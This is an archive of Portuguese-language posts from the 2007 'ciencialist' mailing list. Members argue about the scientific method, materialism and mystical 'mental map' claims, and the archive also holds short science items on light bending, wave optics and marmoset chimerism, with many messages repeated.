DATE: 27/03/2007 20:33

Olá JR,

>
> Muito bem, Jeff!
> Agora, é só vc buscar a origem da existência.
>

A evolução das espécies por seleção natural é uma explicação lógica e
satisfatória.

[]'s
Jeff




SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 20:33

Olá JR,

>
> Muito bem, Jeff!
> Agora, é só vc buscar a origem da existência.
>

A evolução das espécies por seleção natural é uma explicação lógica e
satisfatória.

[]'s
Jeff




SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 20:50

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Tanto o espaço como os campos não constam na relação de partículas e
> sub-partículas das três famílias de matérias conhecidas e
> constatadas até o momento.

Eu não falei q a realidade é particulada. Eu defendo q a realidade é
material.

Campos são descritos em termos de partículas de qq forma. O espaço
tampouco é imaterial - podemos medir sua curvatura, por exemplo.

[]s,

Roberto Takata



SUBJECT: Fw: pesquisa
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 28/03/2007 07:58

Químicos com previsão do que acontecerá SE .... eis a grande chance!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Nadja Melo
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 27 de março de 2007 10:11
Assunto: pesquisa


Se aumentar ou dimunuir os componentes da água (H e O), o que acontece?

E o porquê dessas proporções (H2 O).

Atenciosamente,

Carol Cunha


--------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre o Método Cientifico - decodificand o?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 10:26

Olá Jeff!

Jeff >>> E como que se "esclarece" com algo que não
faz sentido?

--- Jeff, minha resposta a sua pergunta é: criando um
sentido que dê sentido ao que não faz sentido.

--- Esta sua pergunta é fundamental para se
compreender o que é "fazer ciencia". A realidade é o
que é. Contudo, a realidade que é "não faz sentido". A
realidade é irracional, ilógica, inumana,
incogniscivel, ad infinitum...

--- Contudo, o cietista não se dá por vencido. A
curiosidade dele também é ad infinitum... uma formiga
que não para de morder a sua bunda. Veja, o cientista
não pediu para ter a "capacidade de conhecer" o
desconhecido, então, mas uma vez que lhe foi dada esta
capacidade, ele quer porque quer conhecer o
desconhecido, quer raciocinar o irraciocinável. Ou
seja, o cientista quer conhecer deus.

--- E a culpa desta busca ad infinitum não é nem do
cientista, pois não é o cientista que dá a si mesmo a
"capacidade de conhecer", é o ad infinitum.

--- Concluindo, o sentido que vc fala é o "sentido
racional", mas a realidade tem seu sentido próprio,
que é (aos olhos do sentido racional) irracional.
Note: o próprio ato de diser "irracional" já é
racionalizar o irracional, percebe isto?

--- Em breve vou postar algo sobre este asssunto. Tem
a ver com codificação e decodificação. Quando disse
acima "criando um sentido que dê sentido ao que não
faz sentido", estou querendo dizer: "codificando uma
informação em um código desconhecido em um código
conhecido analogo". Em essencia, é isto o dão
desconhecido, mas debatido "metodo cientifico".

--- No estudo desta questão me deparei com a seguinte
palavra, que procurei no dicionário é não encontrei
uma definição: decodificação. Agora sei que na
compreenção do seu significado está a chave para
responder a sua pergunta.

--- O que é decodificar?

--- O dicionário diz o seguinte: é o oposto de
codificar.

-- E vc, o que me diz?


sinceramente
ferrari







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SUBJECT: Re: Sobre o Método Cientifico - decodificand o?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 10:26

Olá Jeff!

Jeff >>> E como que se "esclarece" com algo que não
faz sentido?

--- Jeff, minha resposta a sua pergunta é: criando um
sentido que dê sentido ao que não faz sentido.

--- Esta sua pergunta é fundamental para se
compreender o que é "fazer ciencia". A realidade é o
que é. Contudo, a realidade que é "não faz sentido". A
realidade é irracional, ilógica, inumana,
incogniscivel, ad infinitum...

--- Contudo, o cietista não se dá por vencido. A
curiosidade dele também é ad infinitum... uma formiga
que não para de morder a sua bunda. Veja, o cientista
não pediu para ter a "capacidade de conhecer" o
desconhecido, então, mas uma vez que lhe foi dada esta
capacidade, ele quer porque quer conhecer o
desconhecido, quer raciocinar o irraciocinável. Ou
seja, o cientista quer conhecer deus.

--- E a culpa desta busca ad infinitum não é nem do
cientista, pois não é o cientista que dá a si mesmo a
"capacidade de conhecer", é o ad infinitum.

--- Concluindo, o sentido que vc fala é o "sentido
racional", mas a realidade tem seu sentido próprio,
que é (aos olhos do sentido racional) irracional.
Note: o próprio ato de diser "irracional" já é
racionalizar o irracional, percebe isto?

--- Em breve vou postar algo sobre este asssunto. Tem
a ver com codificação e decodificação. Quando disse
acima "criando um sentido que dê sentido ao que não
faz sentido", estou querendo dizer: "codificando uma
informação em um código desconhecido em um código
conhecido analogo". Em essencia, é isto o dão
desconhecido, mas debatido "metodo cientifico".

--- No estudo desta questão me deparei com a seguinte
palavra, que procurei no dicionário é não encontrei
uma definição: decodificação. Agora sei que na
compreenção do seu significado está a chave para
responder a sua pergunta.

--- O que é decodificar?

--- O dicionário diz o seguinte: é o oposto de
codificar.

-- E vc, o que me diz?


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SUBJECT: Re: Sobre o Método Cientifico - decodificand o?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 10:26

Olá Jeff!

Jeff >>> E como que se "esclarece" com algo que não
faz sentido?

--- Jeff, minha resposta a sua pergunta é: criando um
sentido que dê sentido ao que não faz sentido.

--- Esta sua pergunta é fundamental para se
compreender o que é "fazer ciencia". A realidade é o
que é. Contudo, a realidade que é "não faz sentido". A
realidade é irracional, ilógica, inumana,
incogniscivel, ad infinitum...

--- Contudo, o cietista não se dá por vencido. A
curiosidade dele também é ad infinitum... uma formiga
que não para de morder a sua bunda. Veja, o cientista
não pediu para ter a "capacidade de conhecer" o
desconhecido, então, mas uma vez que lhe foi dada esta
capacidade, ele quer porque quer conhecer o
desconhecido, quer raciocinar o irraciocinável. Ou
seja, o cientista quer conhecer deus.

--- E a culpa desta busca ad infinitum não é nem do
cientista, pois não é o cientista que dá a si mesmo a
"capacidade de conhecer", é o ad infinitum.

--- Concluindo, o sentido que vc fala é o "sentido
racional", mas a realidade tem seu sentido próprio,
que é (aos olhos do sentido racional) irracional.
Note: o próprio ato de diser "irracional" já é
racionalizar o irracional, percebe isto?

--- Em breve vou postar algo sobre este asssunto. Tem
a ver com codificação e decodificação. Quando disse
acima "criando um sentido que dê sentido ao que não
faz sentido", estou querendo dizer: "codificando uma
informação em um código desconhecido em um código
conhecido analogo". Em essencia, é isto o dão
desconhecido, mas debatido "metodo cientifico".

--- No estudo desta questão me deparei com a seguinte
palavra, que procurei no dicionário é não encontrei
uma definição: decodificação. Agora sei que na
compreenção do seu significado está a chave para
responder a sua pergunta.

--- O que é decodificar?

--- O dicionário diz o seguinte: é o oposto de
codificar.

-- E vc, o que me diz?


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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 12:22

Olá Takata!

Takata >>> A causa dos pensamentos não importa nem um
pouco. O q importa é q se tenha pensamentos.

--- Discordo Takata, pois tanto a broa de milho
(alimento) quanto o comedor da broa de milho são mapas
mentais. E nenhum é causa de si mesmo. Note, vc diz
que vc não pode se alimentar de pensamentos, mas o que
é este "voce" senão um pensamento também. Percebe
isto? Tudo que vc conhece sobre si é um mapa mental.
Ou vc tem conhecimento direto de si mesmo?

Takata >>> Se são simples mapas mentais, o simples
fato de pensar alteraria tais mapas.

--- Quem pensar? Voce? Quem é voce? Este é o ponto que
causa a impossibilidade. Voce pensa que é vc que
pensa. Só se voce fosse a causa dos seus pensametos,
vc poderia fazer isto que propoe ai, mas se voce não é
nem a causa de si mesmo, como pode ser a causa dos
seus pensamentos? Não pode. É impossivel. Contudo, por
pensar que vc é a causa de si mesmo e dos seus
pensamentos, vc passa a acreditar que a
impossibilidade de alterar os pensamentos é uma prova.
Não é, pois vc não é a causa dos seus mapas, que
inclui vc (comedor) e a broa (comida). Entende o que
estou falando?

Takata >>> Existe algo mais na realidade do q simples
mapas mentais.

--- Discordo. Na realidade só existe realidade. Todo
algo é um mapa da realidade. O mapa do território não
é o território.


sinceramente
ferrari



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SUBJECT: Re: Homero: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 12:46

Olá Homero!

Homero >>> Não é tanto a informalidade

--- Se vc diz "não é tanto", entendo que é pelo menos
um tanto. Bem, lhe digo que é desagradavel pra mim
deixar de ser espontaneo, mas se vc também se incomoda
com minha espontaniedade, também posso ser formal com
vc.

Homero >>> Mas a falta de sentido, lógica,
racionalidade, discurso minimamente coerente, além de
loucuras diversas, pensamento incompreensível,
distorção de termos, incompreensão de termos e total
incapacidade de manter um debate racional.

--- Respeito seu ponto de vista. Só não concordo com
ele. Como disse em outra mensagem, vc não me entende,
mas eu te entendo. Se vc quiser me entender, estou a
disposição pra explicar tudo o que digo. Se não quiser
entender, apenas me ignore.

Homero >>> Isso é bem pior que a informalidade e o
riso solto, e tolo, Ferrari.

--- To vendo que a espontaniedade do meu riso te
incomoda também, tudo bem, não mais o expressarei em
nossas conversas, ok?

Homero >>> Isso não é um debate, pela absoluta falta
de sentido.

--- Homero, isto, e outras coisas que digo, pode não
fazer sentido pra vc, mas isto não significa que o que
não faz sentido pra vc não tenha um sentido que vc
desconhece. Entende isto? Sentido está ligado a
conhecimento, se vc desconhece uma coisa, como esta
coisa pode fazer sentido pra vc. Não pode. É
impossivel. Sendo assim, não acredite em mim, mas
apenas considere a possibilidade de eu conhecer algo
que vc desconhece. Na verdade, vc também conhece o que
eu conheço, mas não percebe isto. E pelo seu
comportamento, acredito que não está interressado em
pereber. É por isto que digo que a questão é
emocional, pois interresse é uma questão emocional.


Homero >>> Seus "argumentos" e suas "evidências", não
são nem uma coisa nem outra. São apenas maluquices
ditas sem propósito ou razão, como um discurso de
esquizofrênico, que pensa estar "revelando grandes
verdades".

--- Sim, segundo o seu ponto de vista, é isto mesmo.
Mas isto é o seu ponto de vista. E não estou revelando
nada, estou apontando. Diz a filosofia popular "quem
tenha olhos que olhos". Vou mais além: "quem tenham
vontade de olhar que olhe". Pois de que adianta ter
olhos e enfiar a cabeça no buraco feito avestruz?

Homero >>> Na verdade, é mesmo muito parecido com
"xixi com tinta".

--- Vc sabe poque o livro se chama "xixi com tinta"?
Sabe o porque deste título? Bem sua cara mesmo: sempre
julgando o livro pela capa.



sinceramente (e formalmente)
ferrari





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SUBJECT: Re: Luiz: Sobre o Método Cientifico - enquadrado
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 12:56

Luiz Ferraz Netto >>> dê exemplos de fenômenos que
ocorram na Natureza que não envolvam partículas ou
estruturas materiais, mas que possam ser qualificados
como transcendentais, espiritual ou sobrenatural.

--- Sendo que partículas ou estruturas materiais são
apenas teoria, qualquer fenômeno é prova.

Luiz Ferraz Netto >>> Para cada um deles, descreva
sucintamente um modo de detetá-lo para que, desse
modo, possa ser enquadrado como 'um fato natural'.

--- Enquadrado? Luiz, pra detectar um fenomeno não é
preciso enquadrá-lo em nenhuma teoria. Percebe isto?


sinceramente
ferrari





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SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 13:14

----- Original Message -----
From: "José Renato"
Sent: Tuesday, March 27, 2007 8:20 PM
Subject: Re: [ciencialist] Re: Comprovação da teoria de Einstein

> Olá, Alberto! Parece-me que além da possibilidade da refração
> da luz próximo a grandes massas, como as estrelas que emitem
> partículas em densidade significativa, há a possibilidade da
> atração gravitacional dos fótons em trajetórias próximas das
> grandes massas,...

Sim, mas a minha msg era uma resposta ao Gil e relacionada à
refração, enfatizando um efeito notado por Newton há cerca de 350
anos. Quanto ao efeito gravitacional, isto já havia sido comentado no
início da thread [vide, por exemplo,
http://br.groups.yahoo.com/group/ciencialist/message/61900 ] e de
fato existe, é importante e costuma ser levado em consideração pela
maioria das teoria que procuram explicar a curvatura da luz frente a
grandes massas.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Takata: Sobre o Método Cientifico - materia e realidade
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 13:20

Olá Takata!

Takata >>> Eu não falei q a realidade é particulada.
Eu defendo q a realidade é material.

--- Takata, se vc aceitar trocar a palavra "realidade"
por "existencia", concordo com voce. Concordo que a
existencia é material. Porém, o problema é que a
materia existencial não é materia-sólida-particula
como prega o paradgima materialista (fisica). A
existencia só "parece" materia-fisica-particula quando
observada pelo cientista (raciocinio). Ou seja, a
materia "fisica" é apenas um mapa-mental da materia
existencial. E qual é a materia existencial de fato?
Que substancia é esta de fato? Bem, como não quero que
vc acredite em mim, mas que comprove por si mesmo e de
fato, só posso te dizer o seguinte:

É esta.
Qual?
Esta ai.
Esta qual?
--- Esta sem qual?

Qual é mapa. Este é o nó que os cientistas
materialistas relutam em permitir que seja desatado.
Vou falar mais sobre a materia existencia no tópico "o
pão nosso de cada dia" e também nos artigos que
estarei postando de agora em diante.


sinceramente
ferrari









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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - decodificand o?=
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/03/2007 13:52

>
> Jeff >>> E como que se "esclarece" com algo que não
> faz sentido?
>
> --- Jeff, minha resposta a sua pergunta é: criando um
> sentido que dê sentido ao que não faz sentido.
>

Pra que?

>
> Veja, o cientista não pediu para ter a "capacidade de conhecer"
> o desconhecido, então, mas uma vez que lhe foi dada esta
> capacidade, ele quer porque quer conhecer o desconhecido,
> quer raciocinar o irraciocinável. Ou seja, o cientista quer
> conhecer deus.
>

Então os crentes estão acima dos cientistas, pois "já sabem" que o
desconhecido é um negócio chamado "deus", que controla tudo...
Não sei se um dia vamos entender a verdade, mas SÓ podemos tentar realmente
entendê-la de forma racional... Óbvio né...
Pra que aceitar como verdade algo que não se entende? Isso, pra mim, é
desistir de pensar, de buscar a verdade, e se conformar com uma "explicação"
jogada, inventada, por alguém tão incapaz quanto eu... Ou então é medo de
concluir que a verdade pode ser cruel, feia, sem graça.... As crenças, mesmo
que inventadas, são mais interessantes, atraentes, não é isso? Como um
entorpecente...

>
> --- Concluindo, o sentido que vc fala é o "sentido
> racional", mas a realidade tem seu sentido próprio,
> que é (aos olhos do sentido racional) irracional.
>

Você está dizendo que é, mas não sabemos ainda. Pode ser que o universo seja
tão simples que temos ou teremos capacidade de compreendê-lo (ou não).

Eu não preciso inventar ou aceitar uma invenção de alguém pra ter
"respostas". Se eu não entendo, fico sem entender oras, mas sempre tentando
entender...
Vejo que muita gente só se conforma, só se sente bem, tendo todas as
"respostas", mesmo que inventadas, imaginadas... E ainda escolhem as mais
bonitas e confortáveis...
Você não acha engraçado escolher uma "verdade"? :-)

>
> --- Em breve vou postar algo sobre este asssunto. Tem
> a ver com codificação e decodificação. Quando disse
> acima "criando um sentido que dê sentido ao que não
> faz sentido", estou querendo dizer: "codificando uma
> informação em um código desconhecido em um código
> conhecido analogo". Em essencia, é isto o dão
> desconhecido, mas debatido "metodo cientifico".
>

A "decodificação" correta de uma informação depende da "chave" correta. Não
podemos dizer que a ciência tem a chave correta, mas busca sempre a que
melhor se "encaixa". Você não pode "ler" um hieróglifo, por exemplo, do
jeito que você quiser, ele tem uma lógica... Mas é exatamente isso que as
religiões fazem! Lêem o universo do jeito que querem, que gostam...

[]´,s
Jeff.




SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 13:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Discordo Takata, pois tanto a broa de milho
> (alimento) quanto o comedor da broa de milho são mapas
> mentais.

Se fossem apenas mapas mentais o comedor da broa precisaria apenas
pensar q está comendo a broa de milho.

[]s,

Roberto Takata




SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 13:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Discordo Takata, pois tanto a broa de milho
> (alimento) quanto o comedor da broa de milho são mapas
> mentais.

Se fossem apenas mapas mentais o comedor da broa precisaria apenas
pensar q está comendo a broa de milho.

[]s,

Roberto Takata




SUBJECT: Homero: Sobre o Método Cientifico - ad infinitum
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/03/2007 14:19

Olá Ferrari

Embora me sinta meio tolo tentando manter uma conversa racional com você (como explicar o ciclo de Krebs da mitocondria a uma criança de 3 anos), vale mais uma tentativa..:-)

Ferrari: "Homero, isto, e outras coisas que digo, pode não
fazer sentido pra vc, mas isto não significa que o que
não faz sentido pra vc não tenha um sentido que vc
desconhece. Entende isto?"

Bullshit..:-) Isso é que é informalidade, palavrão em inglês..:-) Isso também não faz sentido, Ferrari, e fazer sentido é um termo bem definido, que não pode ser distorcido a seu bel prazer. O que diz não faz sentido para mais ninguém, a não ser para você, o que demonstra que está inventado coisas e não raciocinando.

Ferrari: ". Sendo assim, não acredite em mim, mas
apenas considere a possibilidade de eu conhecer algo
que vc desconhece. "

Não dá, sinto muito..:-) Ou melhor, é claro que a possibilidade de você saber algo que eu não sei, uma "verdade verdadeira" divina e sobrenatural, existe, mas só posso levar essa possibilidade em consideração se você a explicar de forma coerente e com sentido. Sem isso, não faz diferença se é você me contando uma "verdade verdadeira" ou um esquizofrenico paranoico me contando a dele. Em ambos os casos não faz sentido, e em ambos os casos quem me conta tem a "certeza" de que "sabe" de algo que eu não sei..:-)

O que você pensa que sabe, e que eu não sei, vale tanto quanto o que uma criança de 3 anos pensa que sabe, e que eu, um adulto, não sei. Ou um esquizofrenico. Nada..:-)

Você escreveu para o Takata:

Ferrari: "Qual é mapa. Este é o nó que os cientistas
materialistas relutam em permitir que seja desatado.
Vou falar mais sobre a materia existencia no tópico "o
pão nosso de cada dia" e também nos artigos que
estarei postando de agora em diante."

Por favor, não escreva, por favor, por favor..:-) Ninguém aguenta mais tanta inutilidade e absurdos recorrentes..:-) Que tal entrar em uma lista religiosa, ou de "filosofia" (as aspas são para diferenciar da filosofia de verdade), e contar as coisas que você sabe e nós não? Vai acumular admiradores e até seguidores, que não vão entender nada, mas acharão fantástico o modo como tem coragem de dizer tudo isso na "cara dos cientistas"..:-)

Pense, por um instante, que a única razão pela qual você consegue escrever tanta asneira para tanta gente, ao redor do planeta, é porque a ciência, essa tola entidade criada pelos homens e que não sabe nada de verdade, construiu um sistema mundial de computadores, uma supervia, com satélites geo-estacionários, com softwares e protocolos de comunicações, baseado nas alegações e conhecimentos sobre física, química, sobre as forças que agem neste universo físico, etc, etc, etc, e que só funciona porque essas alegações e conhecimentos são corretos e reais. Enquanto você as as "coisas que você sabe e nós não" não vale um tostão furado, não constroi nada, não permite previsões e não ajuda a entender uma vírgula deste universo.

Que tal isso, como comparação entre o que "você sabe" e o que a ciência sabe? Que tal olhar ao seu redor e tentar encontrar algum desdobramento resultante do que "você sabe", ou encontrar algo a sua volta que NÃO tenha a influência da ciência ou do conhecimento científico? Vale qualquer coisa, Ferrari. O que seu conhecimento especial ajuda em entender o universo, Ferrari?

Sem a ciência, você não estaria espalhando maluquices nesta lista. Se você não existisse, e as coisas que você sabe, não perderiamos nada, na verdade.

Acho que vou continuar com a ciência e a razão, a "acreditar" em suas verdades verdadeiras, Ferrari. Parece mais lógico e seguro..:-)

Um abraço.

Homero










----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 28, 2007 12:46 PM
Subject: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum


Olá Homero!

Homero >>> Não é tanto a informalidade

--- Se vc diz "não é tanto", entendo que é pelo menos
um tanto. Bem, lhe digo que é desagradavel pra mim
deixar de ser espontaneo, mas se vc também se incomoda
com minha espontaniedade, também posso ser formal com
vc.

Homero >>> Mas a falta de sentido, lógica,
racionalidade, discurso minimamente coerente, além de
loucuras diversas, pensamento incompreensível,
distorção de termos, incompreensão de termos e total
incapacidade de manter um debate racional.

--- Respeito seu ponto de vista. Só não concordo com
ele. Como disse em outra mensagem, vc não me entende,
mas eu te entendo. Se vc quiser me entender, estou a
disposição pra explicar tudo o que digo. Se não quiser
entender, apenas me ignore.

Homero >>> Isso é bem pior que a informalidade e o
riso solto, e tolo, Ferrari.

--- To vendo que a espontaniedade do meu riso te
incomoda também, tudo bem, não mais o expressarei em
nossas conversas, ok?

Homero >>> Isso não é um debate, pela absoluta falta
de sentido.

--- Homero, isto, e outras coisas que digo, pode não
fazer sentido pra vc, mas isto não significa que o que
não faz sentido pra vc não tenha um sentido que vc
desconhece. Entende isto? Sentido está ligado a
conhecimento, se vc desconhece uma coisa, como esta
coisa pode fazer sentido pra vc. Não pode. É
impossivel. Sendo assim, não acredite em mim, mas
apenas considere a possibilidade de eu conhecer algo
que vc desconhece. Na verdade, vc também conhece o que
eu conheço, mas não percebe isto. E pelo seu
comportamento, acredito que não está interressado em
pereber. É por isto que digo que a questão é
emocional, pois interresse é uma questão emocional.

Homero >>> Seus "argumentos" e suas "evidências", não
são nem uma coisa nem outra. São apenas maluquices
ditas sem propósito ou razão, como um discurso de
esquizofrênico, que pensa estar "revelando grandes
verdades".

--- Sim, segundo o seu ponto de vista, é isto mesmo.
Mas isto é o seu ponto de vista. E não estou revelando
nada, estou apontando. Diz a filosofia popular "quem
tenha olhos que olhos". Vou mais além: "quem tenham
vontade de olhar que olhe". Pois de que adianta ter
olhos e enfiar a cabeça no buraco feito avestruz?

Homero >>> Na verdade, é mesmo muito parecido com
"xixi com tinta".

--- Vc sabe poque o livro se chama "xixi com tinta"?
Sabe o porque deste título? Bem sua cara mesmo: sempre
julgando o livro pela capa.

sinceramente (e formalmente)
ferrari


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EXPERIMENTE XIXI COM TINTA
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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Álvaro Antpack" <alvaro_antpack@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 15:07

Jeff: A evolução das espécies por seleção natural é uma explicação lógica e
satisfatória.

Alvaro: Lógica, porém satisfatória em termos. Só explica alguns dos 15
bilhões de anos de nossa jornada até aqui... Até chegarmos ao Big Bang há um
longo caminho. Mas o que o causou? Não seria mais lógico Nada existir?
Porque, ou como, apareceu o Universo? Há fronteiras que eu CREIO que a
ciência jamais será capaz de atravessar, e portanto sempre haverá uma brecha
para alguém voltar com essa polêmica na Ciencialist, para desespero dos
cartesianos em qualquer grau.

Reafirmo que não sou religioso. Aposto que todas as religiões estão erradas,
afinal todas dizem estar certas. Mas tomo sempre uma posição "em cima do
muro" com relação à existência de sei-lá-quê, pois para mim essa é a única
opinião sustentável. Embora os crentes me torrem a paciência quando resolvo
emiti-la.

Falando no Nada, esse é um dos conceitos que "não cabem em nossa cabeça". E
isso não é Nada...

PS: depois de reler o que escrevi, acho que esquizofrenia pode ser
'contraída' via email...

Em 27/03/07, Jefferson < jeff@jeff.com.br> escreveu:
>
> Olá JR,
>
> >
> > Muito bem, Jeff!
> > Agora, é só vc buscar a origem da existência.
> >
>
> A evolução das espécies por seleção natural é uma explicação lógica e
> satisfatória.
>
> []'s
> Jeff
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Álvaro Antpack" <alvaro_antpack@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 15:07

Jeff: A evolução das espécies por seleção natural é uma explicação lógica e
satisfatória.

Alvaro: Lógica, porém satisfatória em termos. Só explica alguns dos 15
bilhões de anos de nossa jornada até aqui... Até chegarmos ao Big Bang há um
longo caminho. Mas o que o causou? Não seria mais lógico Nada existir?
Porque, ou como, apareceu o Universo? Há fronteiras que eu CREIO que a
ciência jamais será capaz de atravessar, e portanto sempre haverá uma brecha
para alguém voltar com essa polêmica na Ciencialist, para desespero dos
cartesianos em qualquer grau.

Reafirmo que não sou religioso. Aposto que todas as religiões estão erradas,
afinal todas dizem estar certas. Mas tomo sempre uma posição "em cima do
muro" com relação à existência de sei-lá-quê, pois para mim essa é a única
opinião sustentável. Embora os crentes me torrem a paciência quando resolvo
emiti-la.

Falando no Nada, esse é um dos conceitos que "não cabem em nossa cabeça". E
isso não é Nada...

PS: depois de reler o que escrevi, acho que esquizofrenia pode ser
'contraída' via email...

Em 27/03/07, Jefferson < jeff@jeff.com.br> escreveu:
>
> Olá JR,
>
> >
> > Muito bem, Jeff!
> > Agora, é só vc buscar a origem da existência.
> >
>
> A evolução das espécies por seleção natural é uma explicação lógica e
> satisfatória.
>
> []'s
> Jeff
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Luiz: Sobre o Método Cientifico - enquadrado
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/03/2007 18:59

Putz ... mas eu fico tão indignado de ler essas respostas (ou perguntas) que não entendo porque me predisponho a responder. Que conjunto de nulidades!
FIM ... FIM MESMO!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 28 de março de 2007 12:56
Assunto: [ciencialist] Re: Luiz: Sobre o Método Cientifico - enquadrado


Luiz Ferraz Netto >>> dê exemplos de fenômenos que
ocorram na Natureza que não envolvam partículas ou
estruturas materiais, mas que possam ser qualificados
como transcendentais, espiritual ou sobrenatural.

--- Sendo que partículas ou estruturas materiais são
apenas teoria, qualquer fenômeno é prova.

Luiz Ferraz Netto >>> Para cada um deles, descreva
sucintamente um modo de detetá-lo para que, desse
modo, possa ser enquadrado como 'um fato natural'.

--- Enquadrado? Luiz, pra detectar um fenomeno não é
preciso enquadrá-lo em nenhuma teoria. Percebe isto?


sinceramente
ferrari





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SUBJECT: Formacao de imagens segundo a teoria ondulatória
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/03/2007 19:09

Olá pessoal,

aquele tema da reflexão, refração, difração etc. despertou-me a vontade de escrever algo sobre a teoria ondulatória da luz. Estou começando por um tema pouco (ou nada) divulgado em livros textos, a saber, a formação das imagens segundo a teoria ondulatória.
Já tenho o esboço do artigo e acabei de colocá-lo on-line às 18:30 h, está em:

http://www.feiradeciencias.com.br/sala09/09_OO1.asp

apreciaria uma lida e comentários a respeito. Favor corrigir tudo! Até ortografia ...

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: [RN] SAGUI TEM FILHOS COM GENES DO IRMAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:19

G1.COM.BR, 27-03-2007

SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
----------------
[]s,

Roberto Takata



SUBJECT: [RN] SAGUI TEM FILHOS COM GENES DO IRMAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:19

G1.COM.BR, 27-03-2007

SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
----------------
[]s,

Roberto Takata



SUBJECT: [RN] SAGUI TEM FILHOS COM GENES DO IRMAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:19

G1.COM.BR, 27-03-2007

SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
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Roberto Takata



SUBJECT: [RN] SAGUI TEM FILHOS COM GENES DO IRMAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
